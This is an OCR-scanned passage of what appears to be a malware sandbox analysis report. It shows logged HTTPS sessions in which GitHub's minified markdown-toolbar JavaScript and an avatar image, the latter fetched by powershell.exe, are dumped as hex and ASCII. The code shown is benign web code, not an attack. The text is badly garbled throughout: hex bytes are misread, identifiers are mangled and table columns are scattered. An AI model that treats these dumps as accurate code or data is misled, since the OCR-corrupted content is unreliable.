Data Ascii: (c){switch(c){case l:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case
5:return 127999;default:return null}}i(V,"toneModifier”);class W extends HTMLElement{get image(){return this.firstE
lementChild instanceof HTMLImageEleme

Data Raw: 6f 6e 5d 22 2¢ 22 6d 64 2d 68 65 61 64 65 72 22 2c 22 6d 64 2d 62 6f 6¢ 64 22 2¢ 22 6d 64 2d 69 74 61 6¢ 69
63 22 2c 22 6d 64 2d 71 75 6f 74 65 22 2¢c 22 6d 64 2d 63 6f 64 65 22 2¢ 22 6d 64 2d 6¢ 69 6e 6b 22 2¢ 22 6d 64 2d 69 6d
61 67 65 22 2c 22 6d 64 2d 75 6e 6f 72 64 65 72 65 64 2d 6¢ 69 73 74 22 2¢ 22 6d 64 2d 6f 72 64 65 72 65 64 2d 6¢ 69
73 7422 2¢ 22 6d 64 2d 74 61 73 6b 2d 6¢ 69 73 74 22 2c 22 6d 64 2d 6d 65 6e 74 69 6f 6e 22 2¢ 22 6d 64 2d 72 65 66
22 2c 22 6d 64 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 4b 28 72 29 7b 63 6f 6e 73
7420 66 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 20 45 20 6f 66 20 72 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C
28 4a 2e 6a 6f 69 6e 28 22 2c¢ 20 22 29 29 29 45 2e 68 69 64 64

Data Ascii: on]","md-header”,"md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ord

ered-list","md-task-list","md-mention","md-ref*,"md-strikethrough“J;function K(r){const f=[];for(const E of r.querySelec
torAll(J.join(", )))E.hidd

Data Raw: 6e 65 28 22 6d 64 2d 62 6f 6¢ 64 22 2c 4e 29 29 3b 63 6¢ 61 73 73 20 6a 20 65 78 74 65 6e 64 73 20 78 7b 63
6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 54 2e 73 65 74 28 74 68 69 73 2c 7b 70 72 65 66 69 78
3a 22 5f 22 2c 73 75 66 66 69 78 3a 22 5f 22 2c 74 72 69 6d 46 69 72 73 74 3a 21 30 7d 29 7d 7d 69 28 6a 2c 22 4d 61
72 6b 64 6f 77 6e 49 74 61 6¢ 69 63 42 75 74 74 6f 6e 45 6¢ 65 6d 65 6e 74 22 29 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f
6d 45 6¢ 65 6d 65 6e 74 73 2e 67 65 74 28 22 6d 64 2d 69 74 61 6¢ 69 63 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 4d 61 72 6
b 64 6f 77 6e 49 74 61 6¢ 69 63 42 75 74 74 6f 6e 45 6¢ 65 6d 65 6e 74 3d 6a 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 4
5 6¢ 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 22 6d 64 2d 69 74

Data Ascii: ne("md-bold",N));class j extends x{constructor(){super(); T.set(this {prefix:"_",suffix:"_" trimFirst:!0})}}i(j,"Markdo
whltalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownltalicButtonElement=j,window.c
ustomElements.define("md-it

Data Raw: 65 6d 65 6e 74 73 2e 67 65 74 28 22 6d 64 2d 69 6d 61 67 65 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 4d 61 72 6b
64 6f 77 6e 49 6d 61 67 65 42 75 74 74 6f 6e 45 6¢ 65 6d 65 6e 74 3d 57 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢
65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 22 6d 64 2d 69 6d 61 67 65 22 2c 57 29 29 3b 63 6¢ 61 73 73 20 77 20 65 78
74 65 6e 64 73 20 78 7h 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 54 2e 73 65 74 28 74 68 69
73 2c 7b 70 72 65 66 69 78 3a 22 2d 20 22 2c 6d 75 6¢ 74 69 6¢ 69 6e 65 3a 21 30 2c 75 6e 6f 72 64 65 72 65 64 4¢ 69 7
3743a21307d 29 7d 7d 69 28 77 2c 22 4d 61 72 6b 64 6f 77 6e 55 6e 6f 72 64 65 72 65 64 4c 69 73 74 42 75 74 74 6f
6e 45 6¢ 65 6d 65 6e 74 22 29 2c 77 69 6e 64 6f 77 2e 63 75 73 74

Data Ascii: ements.get("md-image")||(window.MarkdownImageButtonElement=W,window.customElements.define("md-
image",W));class w extends x{constructor(){super(); T.set(this {prefix:"- ", multiline:!0,unorderedList:!0})}}i(w,"MarkdownUno
rderedListButtonElement"),window.cust

Data Raw: 75 73 74 6f 6d 45 6¢ 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 22 6d 64 2d 72 65 66 22 2c 61 29 29 3b 63 6¢
6173 73 20 75 20 65 78 74 65 6e 64 73 20 78 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 54
2e 736574 28 74 68 69 73 2c 7b 70 72 65 66 69 78 3a 22 7e 7e 22 2c 73 75 66 66 69 78 3a 22 7e 7e 22 2c 74 72 69 6d
46 69 72 73 74 3221 30 7d 29 7d 7d 69 28 75 2c 22 4d 61 72 6b 64 6f 77 6e 53 74 72 69 6b 65 74 68 72 6f 75 67 68 42 7
5 74 74 6f 6e 45 6¢ 65 6d 65 6e 74 22 29 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6e 74 73 2e 67 65 74
2822 6d 64 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 4d 61 72 6b 64 6f 77 6e 53
74 72 69 6b 65 74 68 72 6f 75 67 68 42 75 74 74 6f 6e 45 6¢ 65 6d 65

Data Ascii: ustomElements.define("md-ref",a));class u extends x{constructor(){super(); T.set(this {prefix:"~~" suffix:"~~

" trimFirst:!10})}}i(u,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")|| (wi
ndow.MarkdownStrikethroughButtonEleme

Page 136 of 342



kBytes

Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1218 IN
2022-04-20 13:07:37 UTC 1220 IN
2022-04-20 13:07:37 UTC 1221 IN
2022-04-20 13:07:37 UTC 1222 IN
2022-04-20 13:07:37 UTC 1224 IN
2022-04-20 13:07:37 UTC 1225 IN
2022-04-20 13:07:37 UTC 1226 IN
2022-04-20 13:07:37 UTC 1228 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 22 26 26 28 58 3d 52 2d 31 29 2c¢ 58 3¢ 30 26 26 28 58 3d 52 2d 31 29 2c 58 3e 52 2d 31 26 26 28 58 3d 30
29 3b 66 6f 72 28 6¢ 65 74 20 7a 3d 30 3b 7a 3¢ 52 3b 7a 2b 3d 31 29 4c 5b 7a 5d 2e 73 65 74 41 74 74 72 69 62 75 74
65 28 22 74 61 62 69 6e 64 65 78 22 2c 7a 3d 3d 3d 58 3f 22 30 22 3a 22 2d 31 22 29 3b 72 2e 70 72 65 76 65 6e 74 44
65 66 61 75 6¢ 74 28 29 2c 4c 5b 58 5d 2e 66 6f 63 75 73 28 29 7d 69 28 50 2c 22 66 6f 63 75 73 4b 65 79 64 6f 77 6e 22
29 2¢c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6 74 73 2e 67 65 74 28 22 6d 61 72 6b 64 6f 77 6€ 2d 74 6f
6f 6¢ 62 61 72 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 4d 61 72 6b 64 6f 77 6e 54 6f 6f 6¢ 62 61 72 45 6¢ 65 6d 65 6€ 74 3d
76 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6 74

Data Ascii: "&&(X=R-1),X<0&&(X=R-1),X>R-1&&(X=0);for(let z=0;z<R;z+=1)L[z].setAttribute("tabindex",z===X?"0":"-
1");r.preventDefault(),L[X].focus()}i(P, "focusKeydown"),window.customElements.get("markdown-toolbar")||(windo
w.MarkdownToolbarElement=v,window.customElement

Data Raw: 74 69 6¢ 69 6e 65 26 26 68 28 45 29 3f 4c 3d 61 74 28 72 2c 66 29 3a 4c 3d 6f 74 28 72 2¢ 66 29 2c 6b 28 72
2c 4¢ 29 7d 69 28 71 2¢c 22 73 74 79 6¢ 65 53 65 6¢ 65 63 74 65 64 54 65 78 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 74
74287229 7b 63 6f 6e 73 74 20 66 3d 72 2e 76 61 6¢ 75 65 2e 73 70 6¢ 69 74 28 60 0a 60 29 3b 6¢ 65 74 20 45 3d 30
3b 66 6f 72 28 6¢ 65 74 20 4c 3d 30 3b 4c 3c 66 2e 6¢ 65 6e 67 74 68 3b 4¢c 2b 2b 29 7b 63 6f 6e 73 74 20 44 3d 66 5b 4c
5d 2e 6¢ 65 6e 67 74 68 2b 31 3b 72 2e 73 65 6¢ 65 63 74 69 6f 6e 53 74 61 72 74 3e 3d 45 26 26 72 2e 73 65 6¢ 65 63 7
4 69 6f 6e 53 74 61 72 74 3¢ 45 2b 44 26 26 28 72 2e 73 65 6¢ 65 63 74 69 6f 6 53 74 61 72 74 3d 45 29 2c 72 2e 73 65
6¢ 65 63 74 69 6f 6e 45 6e 64 3e 3d 45 26 26 72 2e 73 65 6¢ 65 63

Data Ascii: tiline&&h(E)?L=at(r,f):L=ot(r,f),k(r,L)}i(q,"styleSelected Text");function tt(r){const f=r.value.split("*);let E=0;for(let
L=0;L<f.length;L++){const D=f[L].length+1;r.selectionStart>=E&&r.selectionStart<E+D&&(r.selectionStart=E),r.selectio
nEnd>=E&&r.selec

Data Raw: 30 3f 60 Oa 24 7b 7a 7d 60 3a 52 3b 69 66 28 6e 29 7b 63 6f 6e 73 74 20 5a 3d 72 2e 76 61 6¢ 75 65 5b 72 2e
73 65 6¢ 65 63 74 69 6f 6e 53 74 61 72 74 2d 31 5d 3b 72 2e 73 65 6¢ 65 63 74 69 6f 6e 53 74 61 72 74 21 3d 3d 30 26
26 5a 21 3d 6e 75 6¢ 6¢ 26 26 21 5a 2e 6d 61 74 63 68 28 2f 5¢ 73 2f 29 26 26 28 43 3d 60 20 24 7b 43 7d 60 29 7d 41
3d 73 74 28 72 2c 43 2c 42 2¢ 66 2e 6d 75 6¢ 74 69 6¢ 69 6e 65 29 3b 6¢ 65 74 20 49 3d 72 2e 73 65 6¢ 65 63 74 69 6f 6
e 5374617274 2c59 3d 72 2e 73 65 6¢ 65 63 74 69 6f 6e 45 6e 64 3b 63 6f 6e 73 74 20 75 74 3d 6¢ 2e 6¢ 65 6e 67 74
68 3e 30 26 26 42 2e 69 6e 64 65 78 4f 66 28 6¢ 29 3e 2d 31 26 26 41 2e 6¢ 65 6e 67 74 68 3e 30 3b 69 66 28 67 29 7b
63 6f 6e 73 74 20 5a 3d 72 74 28 72 29 3b 45 3d 5a 2e 6e 65 77 6¢ 69

Data Ascii: 0?°${z} :R;if(n){const Z=r.value[r.selectionStart-1];r.selectionStart!==0&&Z!=null&&!Z.match(/\s/) &&(C=" ${C
})}A=st(r,C,B,f.multiline);let I=r.selectionStart,Y=r.selectionEnd;const ut=I.length>0&&B.indexOf(l)>-1&&A.length>0;if(g)
{const Z=rt(r);E=Z.newli

Data Raw: 72 65 70 65 6e 64 3a 67 7d 3d 72 74 28 72 29 3b 58 2b 3d 73 2e 6c 65 6e 67 74 68 2c 7a 3d 58 2b 52 2e 6¢
65 6e 67 74 68 2¢ 52 3d 73 2b 52 2b 67 7d 72 65 74 75 72 6e 7b 74 65 78 74 3a 52 2c 73 65 6¢ 65 63 74 69 6f 6e 53 74
61 72 74 3a 58 2c 73 65 6¢ 65 63 74 69 6f 6e 45 6e 64 3a 7a 7d 7d 69 28 61 74 2c 22 6d 75 6¢ 74 69 6¢ 69 6e 65 53 74 7
9 6¢ 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 62 28 72 29 7b 63 6f 6e 73 74 20 66 3d 72 2e 73 70 6¢ 69 74 28 60 Oa 60 29
2c 45 3d 2f 5e 5¢ 64 2b 5¢ 2e 5¢ 73 2b 2f 2¢ 4c 3d 66 2e 65 76 65 72 79 28 52 3d 3e 45 2e 74 65 73 74 28 52 29 29 3b 6¢
65 74 20 44 3d 66 3b 72 65 74 75 72 6e 20 4c 26 26 28 44 3d 66 2e 6d 61 70 28 52 3d 3e 52 2e 72 65 70 6¢ 61 63 65 28
45 2¢ 22 22 29 29 29 2c 7b 74 65 78 74 3a 44 2e 6a 6f 69 6e 28 60 Oa

Data Ascii: repend:g}=rt(r);X+=s.length,z=X+R.length,R=s+R+g}return{text:R,selectionStart:X,selectionEnd:z}}i(at,"multil
ineStyle");function b(r){const f=r.split(""),E=/"\d+\.\s+/,L=f.every(R=>E.test(R));let D=f;return L&&(D=f.map(R=>R.repla
ce(E,"™))),{text:D.join("

Data Raw: 2c 44 3d 72 2e 73 65 6¢ 65 63 74 69 6f 6e 45 6e 64 2b 6d 2e 6¢ 65 6e 67 74 68 2b 73 2d 67 29 3a 28 4c 3d 4d
6174 68 2e 6d 61 78 28 72 2e 73 65 6¢ 65 63 74 69 6f 6e 53 74 61 72 74 2b 6d 2e 6c 65 6e 67 74 68 2c 30 29 2c 44 3d
72 2e 73 65 6¢ 65 63 74 69 6f 6e 45 6e 64 2b 6d 2e 6¢ 65 6e 67 74 68 2b 73 29 2¢ 7b 74 65 78 74 3a 41 2c 73 65 6¢ 65
63 74 69 6f 6e 53 74 61 72 74 3a 4c 2¢ 73 65 6¢ 65 63 74 69 6f 6e 45 6e 64 3a 44 7d 7d 69 28 51 2c 22 6¢ 69 73 74 53 74
79 6¢ 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 65 74 28 72 2c 66 29 7b 63 6f 6e 73 74 20 45 3d 72 2e 63 6¢ 6f 73 65 73 74
2822 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6¢ 62 61 72 22 29 3b 69 66 28 21 28 45 20 69 6e 73 74 61 6e 63 65 6f 66 20 76
2929 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 44 3d 4f 62 6a 65

Data Ascii: ,D=r.selectionEnd+m.length+s-g):(L=Math.max(r.selectionStart+m.length,0),D=r.selectionEnd+m.length+s),
{text:A,selectionStart:L,selectionEnd:D}}i(Q,"listStyle");function et(r,f){const E=r.closest("markdown-toolbar");if(!(E instan
ceof v))return;const D=Obje

Data Raw: 6e 74 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 4f 3d 41 72 72 61 79 2e 66 72 6f 6d 28 70 2e 70 61 72 65
6e 74 45 6¢ 65 6d 65 6e 74 2e 63 68 69 6¢ 64 72 65 6e 29 2¢ 51 3d 4f 2e 69 6e 64 65 78 4f 66 28 70 29 2¢ 65 74 3d 54
2e 67 65 74 28 70 29 3b 65 74 26 26 65 74 2e 73 6f 72 74 53 74 61 72 74 65 64 28 4d 29 2c 78 3d 7b 64 69 64 44 72 6f
703a21312c 647261676769 6e 673a 70 2c 64 72 6f 70 7a 6f 6e 65 3a 70 2c 73 6f 75 72 63 65 4c 69 73 74 3a 4d 2¢
73 6f 75 72 63 65 53 69 62 6¢ 69 6e 67 3a 4f 5b 51 2b 31 5d 7c 7c 6e 75 6¢ 6¢ 2¢ 73 6f 75 72 63 65 49 6e 64 65 78 3a 51
7d 7d 69 28 46 2c 22 6f 6e 44 72 61 67 53 74 61 72 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 56 28 62 29 7b 69 66 28 21 7
8297265747572 6e 3b 63 6f 6e 73 74 20 70 3d 62 2e 63 75 72

Data Ascii: nt))return;const O=Array.from(p.parentElement.children),Q=0.indexOf(p),et=T.get(p);et&&et.sortStarted(M),x={
didDrop:!1,dragging:p,dropzone:p,sourceL.ist:M,sourceSibling:O[Q+1]||null,sourcelndex:Q}}i(F, "onDragStart");function V(b)
{if('x)return;const p=b.cur

Data Raw: 7d 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 62 2e 64 61 74 61 54 72 61 6e 73 66 65 72 26
26 2862 2e 64 61 74 61 54 72 61 6e 73 66 65 72 2e 64 72 6f 70 45 66 66 65 63 74 3d 22 6d 6f 76 65 22 29 7d 7d 69 28
5f 2c 22 6f 6e 44 72 61 67 4f 76 65 72 22 29 3b 63 6f 6 73 74 20 48 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 63 6¢ 61 73
7320 63 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6¢ 65 6d 65 6e 74 7h 63 6f 6e 6e 65 63 74 65 64 43 61 6¢ 6¢ 62 61 6
36b 2829 7b 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6€ 67 65 22 2c 4d 3d 3e
7b 63 6f 6e 73 74 20 4f 3d 4d 2e 74 61 72 67 65 74 3b 4f 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74
45 6¢ 65 6d 65 6 74 26 26 28 21 4f 2e 63 6¢ 61 73 73 4¢ 69 73 74 2e

Data Ascii: }b.preventDefault(),b.dataTransfer&&(b.dataTransfer.dropEffect="move")}}i(_,"onDragOver");const H=new
WeakMap;class ¢ extends HTMLElement{connectedCallback(){this.addEventListener("change",M=>{const O=M.target;O
instanceof HTMLInputElement&&(!O.classList.

Data Raw: 60 3b 63 6f 6e 73 74 20 75 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 76 28 62 29 7b
69 66 28 75 2e 67 65 74 28 62 29 29 72 65 74 75 72 6e 3b 75 2e 73 65 74 28 62 2c 21 30 29 3b 63 6f 6e 73 74 20 70 3d
62 2e 63 6¢ 6f 73 65 73 74 28 22 74 61 73 6b 2d 6€ 69 73 74 73 22 29 3b 69 66 28 21 28 70 20 69 6e 73 74 61 6e 63 65
6f 66 20 63 29 7c 7c 70 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C 28 22 2e 74 61 73 6b 2d 6¢ 69 73 74 2d 69 7
4 65 6d 22 29 2e 6¢ 65 6e 67 74 68 3c 3d 31 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 4d 3d 61 2e 63 6f 6e 74 65 6e 74
2e 63 6¢ 6f 6e 65 4e 6f 64 65 28 21 30 29 2¢ 4f 3d 4d 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28 22 2e 68 61 6e 64 6¢
65 22 29 3b 69 66 28 62 2e 70 72 65 70 65 6e 64 28 4d 29 2c 21 4f

Data Ascii: “;const u=new WeakMap;function v(b){if(u.get(b))return;u.set(b,!0);const p=b.closest("task-lists");if(!(p in
stanceof c)||p.querySelectorAll(".task-list-item").length<=1)return;const M=a.content.cloneNode(!0),0=M.querySelector(".
handle");if(b.prepend(M),!O

Page 137 of 342



kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1229

2022-04-20 13:07:37 UTC 1230

2022-04-20 13:07:37 UTC 1232

Session ID Source IP
23 192.168.2.4
. kBytes
Ti t
tmestamp transferred

2022-04-20 13:07:37 UTC 1162

2022-04-20 13:07:37 UTC 1163

2022-04-20 13:07:37 UTC 1164

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49776

Direction

ouT

Data

Data Raw: 6e 73 74 20 70 20 6f 66 20 62 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6¢ 28 22 2e 74 61 73 6b 2d 6¢
69 73 74 2d 69 74 65 6d 22 29 29 70 2e 63 6¢ 61 73 73 4 69 73 74 2e 74 6f 67 67 6¢ 65 28 22 65 6e 61 62 6¢ 65 64 22
2c 21 62 2e 64 69 73 61 62 6¢ 65 64 29 3b 66 6f 72 28 63 6 6 73 74 20 70 20 6f 66 20 62 2e 71 75 65 72 79 53 65 6C
65 63 74 6f 72 41 6¢ 6¢ 28 22 2e 74 61 73 6b 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 63 68 65 63 6b 62 6f 78 22 29 29 70 20 6
9 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6¢ 65 6d 65 6e 74 26 26 28 70 2e 64 69 73 61 62 6¢ 65 64
3d 62 2e 64 69 73 61 62 6¢ 65 64 29 7d 69 28 6b 2c 22 73 79 6e 63 44 69 73 61 62 6¢ 65 64 22 29 3b 66 75 6€ 63 74 69
6f 6e 20 71 28 62 29 7b 63 6f 6e 73 74 20 70 3d 62 2e 63 6¢ 6f 73 65

Data Ascii: nst p of b.querySelectorAll(".task-list-item"))p.classList.toggle("enabled",!b.disabled);for(const p of b.qu
erySelectorAll(".task-list-item-checkbox"))p instanceof HTMLInputElement&&(p.disabled=b.disabled)}i(k,"syncDisabled");fu
nction q(b){const p=b.close

Data Raw: 66 69 6e 65 28 22 74 61 73 6b 2d 6¢ 69 73 74 73 22 2¢ 63 29 29 7d 2c 35 37 38 35 32 3a 28 4a 2c 4b 2c 55
29 3d3e 7b 76 61 72 20 54 3d 55 28 31 30 31 36 30 29 3b 63 6f 6e 73 74 20 78 3d 2f 5¢ 73 7c 5¢ 28 7c 5¢ 5b 2f 3b 66 75
6e 63 74 69 6f 6e 20 24 28 63 2c 61 2¢ 75 2¢ 7b 6d 75 6¢ 74 69 57 6f 72 64 3a 76 2c 6¢ 6f 6f 6b 42 61 63 6b 49 6€ 64 65
78 3a53 2c 6¢ 61 73 74 4d 61 74 63 68 50 6f 73 69 74 69 6f 6e 3a 50 7d 3d 7b 6d 75 6¢ 74 69 57 6f 72 64 3a 21 31 2c 6¢
6f 6f 6b 42 61 63 6b 49 6e 64 65 78 3a 30 2¢ 6¢ 61 73 74 4d 61 74 63 68 50 6f 73 69 74 69 6f 6e 3a 6e 75 6¢ 6¢ 7d 29 7b
6¢ 65 74 20 68 3d 63 2e 6¢ 61 73 74 49 6e 64 65 78 4f 66 28 61 2¢ 75 2d 31 29 3b 69 66 28 68 3d 3d 3d 2d 31 7c 7c 68
3c 5329 7265747572 6e 3b 69 66 28 76 29 7b 69 66 28 50 21

Data Ascii: fine("task-lists",c))},57852:(J,K,U)=>{var T=U(10160);const x=As|\(|\[/;function $(c,a,u,{multiword:v,lookB
ackindex:S, lastMatchPosition:P}={multiWord:!1,lookBackindex:0,lastMatchPosition:null}){let h=c.lastindexOf(a,u-1);if(h==
=-1||h<S)return;if(v){if(P!

Data Raw: 6e 74 28 22 64 69 76 22 29 2c 47 2e 73 65 74 28 63 2c 76 29 3b 63 6f 6e 73 74 20 6f 3d 77 69 6e 64 6f 77 2e
67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6¢ 65 28 63 29 2c 74 3d 4e 2e 73 6¢ 69 63 65 28 30 29 3b 75 3d 3d 3d 22 74
657874 61 72 65 61 22 3f 74 2e 70 75 73 68 28 22 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 2d 77 72 61 70 3b 22
29 3a 74 2e 70 75 73 68 28 22 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 22 29 3b 66 6f 72 28 6¢ 65 74 2
065 3d 30 2c 64 3d 6a 2e 6¢ 65 6e 67 74 68 3b 65 3c 64 3b 65 2b 2b 29 7b 63 6f 6e 73 74 20 6b 3d 6a 5b 65 5d 3b 74 2e
7075 73 68 28 60 24 7b 6b 7d 3a 24 7b 6f 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6¢ 75 65 28 6b 29 7d 3b 60 29 7d
76 2e 73 74 79 6¢ 65 2e 63 73 73 54 65 78 74 3d 74 2e 6a 6f 69 6e 28

Data Ascii: nt("div"),G.set(c,v);const o=window.getComputedStyle(c),t=N.slice(0);u==="textarea"?t.push("white-space:pre-
wrap;"):t.push(“white-space:nowrap;");for(let e=0,d=j.length;e<d;e++){const k=j[e];t.push("${k}:${o.getPropertyValue(k)}
;)}v.style.cssText=t.join(

Destination IP EULCRIE Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /rust-lang?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 3797

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "2f391249ddeb48c49092341e92ab5a64e95d399ae2aadaab54fff4711dbdebac"
Last-Modified: Thu, 25 Jan 2018 15:02:41 GMT
Strict-Transport-Security: max-age=31557600

timing-allow-origin: https://github.com

X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: 58AA:E7DF:1C401DB:1DA881B:624277BF
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6960-MXP

X-Cache: HIT

X-Cache-Hits: 5

X-Timer: S1650460057.161562,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: d56fd4eb539bdd4c398d4b98ce8d848b6edcd4ab
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 1936857

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
Oe 9c 49 44 41 54 78 9c ec 5b 0d b0 24 45 7d 9f ee 9e €9 f9 d8 d9 9d fd 7c bb 6f df c7 1d 9f 7a ca f1 11 48 00 f5 38 a2 21
1c a8 9c 02 01 63 88 31 04 92 4b 52 c2 05 2a c4 98 54 81 92 98 60 72 02 al b0 f4 34 41 0b 03 48 88 a2 28 29 4b 08 17
40 bd 28 24 06 82 94 5e Oa 8e 7 bd fb f6 f6 7b be 67 ba 53 bd 6f f7 b1 b7 37 bb 3b ef bd 7d 07 a9 ca af 6a ab 7a fe fd ff ff
fb ff eb 9d e9 fe 77 4f Of e2 de 40 c4 d4 e8 95 18 8b 6f 73 1c e7 a7 6f 64 1c 9b 8e 7c 36 {7 d0 54 7e e2 df 11 44 c9 8e 4c
c4 e2e9 27 6d d9 ea b0 1f 2b 77 e4 4c 87 e9 8e 67 73 Of 1d 8f d8 e0 28 9d 01 00 b0 88 c5 b7 77 cb b0 80 4f 94 25 €9 2a
2c 08 bf 94 cf e5 1e 47 10 a9 ac dd bl 74 fa Ob 1c

Data Ascii: PNGIHDR@ @iqIDATX[$E}|0zH8!c1KR*T r4AH()K@ ($"{gS07;}jzwO@osod|6 T~DL'm+wLgs(wO%*,Gt
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1166

2022-04-20 13:07:37 UTC 1167

Session ID Source IP
24 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:37 UTC 1162

2022-04-20 13:07:37 UTC 1243

2022-04-20 13:07:37 UTC 1244

Session ID Source IP

25 192.168.2.4
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49778

Direction

ouT

Source Port

49779

Direction

Data

Data Raw: 2d 8e 8c 6b 47 70 54 Of ea a6 f1 54 ad d1 b8 a3 c7 88 78 9e {7 22 cb f4 46 11 f8 28 al 28 ca ea b6 1a 5b b0
€9 92 f4 fe f6 a5 41 28 3d 66 da 63 dc 18 c7 6e d9 31 23 bc 69 9a 8f 6b d1 e8 27 3a d7 85 52 €9 b2 a6 de fc Oe 42 28 39
91 1b 7 56 e0 f9 6d 4d 5d bf bb d6 68 dc c7 ea a3 aa ba 27 a6 aa 7b 86 05 eb f9 fe el 72 a5 f2 f1 be 0a 80 43 12 16 cf 56
55 f5 77 06 a5 b9 dd 10 78 fe a4 4e 39 ae 69 7b d9 1f 6a d9 f6 53 4b c5 e2 6e 42 88 91 49 a5 fe 36 aa aa 7b bb b9 f5 fa
68 75 00 04 50 54 23 91 0f 44 55 f5 b7 24 51 bc a8 2b €8 57 19 79 56 6 7d bf dc d4 f5 07 13 9a f6 29 49 92 de 5b 2c 95
6e 62 b9 b6 2c 49 4b 61 82 65 c9 55 43 6f 7e 6d 90 4e 83 6b 3e 50 6d d4 ef 9d 1c cf 3f 07 01 48 84 f0 d9 1a f5 11 44 09
55 51 3e ca ca f5 46 e3 4e 9f f8 0d 56 ae d4 6a 7f d9

Data Ascii: -kGpTTX"F(([A(=fcn1#ik':RB(9VmM]h{rCVUwWxN9i{jSKnBI6{huPT#DU$Q+WyV})I[,nb,IKaeUCo~mNk>Pm?
HDUQ>FNVj

Data Raw: 7d e7 fc 58 34 76 ad 22 cb 1f Oc aa 03 00 c4 44 51 dc 5e 6b d4 bf 4c 08 d1 59 67 89 22 3e 57 91 e5 f7 41 08
14 cb b6 5f 20 94 58 61 7e dd 2f 29 82 c0 ea 3b ba 8a 22 bf 07 63 7c 1a 21 a4 c6 66 8b 96 3d 47 49 6e 6¢ ec 61 81 e7 cf
e8d7 3f 3e 21 33 b6 6d 3f 1f c8 25 58 08 e0 f4 e4 e4 cb 7d de b6 ae c2 75 dd e7 21 84 51 84 d0 29 dd be 0a cb cb bb 9a
